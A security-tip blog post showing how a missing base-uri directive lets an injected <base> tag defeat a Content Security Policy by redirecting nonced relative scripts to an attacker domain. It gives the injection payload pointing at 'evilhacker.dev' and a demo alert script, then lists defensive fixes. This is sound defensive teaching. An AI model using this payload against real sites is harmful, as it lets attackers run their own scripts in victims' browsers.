Security Tip: Bypassing Content-Security-Policy with <base>!
[Tip #122] Content Security Policies are awesome, but if you haven't fully configured all of your directives, it's possible to redirect requests, inherit Nonces, and get juicy CSP-bypassing XSS! 😈

Following on from last week's Security Tip: When Is XSS Not Strictly XSS? (But Still Bad!) where we looked at some sneaky psuedo-XSS that bypasses your Content Security Policy, I wanted to explore another sneaky CSP bypass. This time using the <base>
tag!
Let's start out with a simple XSS demo page with a strong CSP.
Here's the page:

And here's the CSP:
Content-Security-Policy:
default-src 'none' ;
connect-src 'self' ;
font-src https://fonts.bunny.net ;
img-src 'self' ; manifest-src 'self' ;
script-src 'report-sample' 'self' 'unsafe-eval' 'sha256-...' 'nonce-...' ;
style-src 'self' 'sha256-...' 'nonce-...' ;
form-action 'self' ;
frame-ancestors 'none'
Basic CSP for example page.
As you can see from the violation, the attempted XSS with <script>alert("Boom?")</script>
has been blocked by the CSP.
However, there is an important directive missing from this CSP: base-uri
!
The base-uri
directive tells the browser what possible values can be used inside the <base>
tag. If it's not included the browser will allow any values. (At this point, alarm bells should be ringing!)
And what does the <base>
tag do, you ask?
<base>
instructs the browser what base URL should be used for all relative URLs on the page... 😈
At the bottom of this particular page, is the following HTML:
</div>
<script src="/flux/flux.js?id=d09fcb6a" data-navigate-once nonce="..."></script>
<!-- Livewire Scripts -->
<script src="/livewire/livewire.js?id=df3a17f2" data-csrf="..." data-update-uri="/livewire/update" data-navigate-once="true"></script>
</body>
</html>
Note those lovely relative URLs of /flux/flux.js
and /livewire/livewire.js
? We can use <base>
to hijack those and tell the browser to look for them on a domain we control!
To make things even better for us, /flux/flux.js
includes a nonce
so the CSP will happily load whatever script it points to, regardless of the domain!
Naturally I have the perfect domain, and have set up a little test script:
alert("Boom! Flux endpoint hijacked!");
All we need to do now is add the <base>
tag to the page:
<base href="https://evilhacker.dev" />
And submit...

/flux/flux.js
script bypassing XSS with the <base>
tag.That's it! 😈
Note there are no CSP violations in the browser console - nothing is stopping our script from running on the page. It's also not a traditional XSS tag or attribute, so there is a good chance less-robust or in-house HTML sanitisation efforts will completely overlook and allow the <base>
tag in user inputted HTML.
My Recommendations:
There are three ways to fix this issue (you should do all three!):
- Prevent the
<base>
tag from being used anywhere in user input. (This loops back into the topic of using an allowlist of safe tags, rather than a blocklist of dangerous tags.) - Inject your own
<base>
tag in the<head>
, such as<base href="{{ url('/') }}" />
. The browser will only honour the first<base>
tag it comes across, so if you inject your own first, any subsequent tags will be ignored. - Include the
base-uri
directive in your CSP, and either set it to'none'
if you don't need to use<base>
or allow specific sources if you do need<base>
.
If you found this security tip useful? 👍
Subscribe now to get weekly Security Tips straight to your inbox, filled with practical, actionable advice to help you build safer apps.
Want to learn more? 🤓
Upgrade to a Premium Subscription for exclusive monthly In Depth articles, or support my work with a one-off tip! Your support directly funds my security work in the Laravel community. 🥰
Need a second set of eyes on your code?
Book in a Laravel Security Audit and Penetration Test today! I also offer budget-friendly Security Reviews too.
Finally, connect with me on Bluesky, or other socials, and check out Practical Laravel Security, my interactive course designed to boost your Laravel security skills.